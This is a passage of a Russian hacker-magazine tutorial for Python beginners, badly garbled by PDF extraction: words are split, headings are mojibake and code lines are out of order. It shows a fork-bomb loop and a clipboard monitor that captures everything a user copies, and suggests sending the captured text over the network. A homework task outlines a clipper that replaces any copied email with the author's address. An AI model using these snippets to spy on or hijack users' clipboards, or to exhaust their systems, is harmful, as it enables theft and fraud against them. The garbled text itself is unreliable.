ва, а  будет пло дить новые и новые про цес сы, забивая ими опе- 
ратив ную память. Так что, товарищ, будь акку рат ней с цик лом !

while
True

os.fork()
while

ÏÐÀÊÒÈ×ÅÑÊÀß ÇÀÄÀ×À: ÌÎÍÈÒÎÐÈÌ ÁÓÔÅÐ ÎÁÌÅÍÀ

А теперь от учеб ных при меров перей дем к чему-нибудь инте рес ному! В кон це
кон цов, мы ведь изу чаем прог рамми рова ние не прос то из любопытс тва.
Давай напишем прог рамму, которая будет сле дить за тем, что про исхо дит
в буфере обме на.

Од на из силь ных сто рон Python — это огромная база готовых модулей,
которые мож но брать и под клю чать к сво им прог раммам. Что бы их уста новить
и исполь зовать внут ри сво их прог рамм, мож но заюзать менед жер пакетов
под наз вани ем pip. Будем счи тать, что pip у тебя уже уста нов лен.

Пер вым делом ста вим при помощи pip модуль, который отве чает
за работу с буфером обме на. В Windows это будет вот такая коман да:

pip install pyperclip

В Linux — слег ка дру гая:

pip3 install pyperclip 

Пе рехо дим к кодиро ванию. Наша прог рамма будет монито рить буфер обме- 
на и печатать на экра не любой текст, который копиру ет поль зователь. Пояс- 
нения я дал в виде ком мента риев, они в Python отби вают ся зна ком  в начале
стро ки.

#

# Подключим модуль для работы с буфером обмена
 import pyperclip

# Подключим модуль для работы с системным временем
 import time

# Задаем переменную old и присваиваем ей пустую строку
  old = ''

# Начнем бесконечный цикл слежения за буфером обмена
 while True:

   # Кладем в переменную s содержимое буфера обмена
     s = pyperclip.paste()
   # Если полученное содержимое не равно предыдущему, то:
     if(s != old):
       # печатаем его
       print(s)
       # в переменную old записываем текущее пойманное значение
       # чтобы в следующий виток цикла не повторяться и не печатать 
то, что уже поймано

         old = s
   # В конце витка цикла делаем паузу в одну секунду, чтобы 
содержимое буфера обмена успело прогрузиться
   time.sleep(1)

Ну вот, поз драв ляю, ты написал прог рамму, которая может ловить все, что
юзер копиру ет в буфер обме на. Даль ше ее мож но раз вивать — к при меру,
вмес то вывода на экран записы вать пой ман ные стро ки в файл с логом
или отправ лять по сети. Но мы ведь толь ко начали, прав да?

ÄÎÌÀØÍÅÅ ÇÀÄÀÍÈÅ

Да вай я дам тебе пароч ку посиль ных заданий на дом, что бы ты мог поуп- 
ражнять ся сам.
1. Сде лай прог рамму, которая вычис ляет твой иде аль ный вес в зависи мос ти

от рос та и воз раста. Най ди соот ветс тву ющую фор мулу в поис ковых сис- 
темах и реали зуй усло вие для рас чета. Пиво пивом, а за здо ровь ем нуж но
сле дить!

2. На пиши прог рамму, которая в цик ле монито рит буфер обме на, пери оди- 
чес ки получая из него текст с помощью , и, если
видит, что кем-то был ско пиро ван email, заменя ет этот email дру гим,
заранее про писан ным в коде, помещая его в буфер обме на коман дой

.

pyperclip.paste()

pyperclip.copy('coolhacker@xakep.ru')

Отпишись в комментариях, если статья оказалась

полезной!
Ес ли тема ока жет ся вос тре бован ной, то в сле дующей статье мы под робно
рас смот рим работу со стро ками, фай лами, заг лянем в интернет, а так же сно- 
ва побалу емся написа нием мак сималь но прос тых хакер ских скрип тов.

×è òàé òàê æå

• Ядо витый питон. Пишем на Python прос тей шую мал варь: локер, шиф- 
роваль щик и вирус

• Кра дущий ся питон. Соз даем прос тей ший тро ян на Python

mailto:solblackbox@mail.ru
https://xakep.ru/2020/05/22/python-malware/
https://xakep.ru/2021/02/15/python-malware-game/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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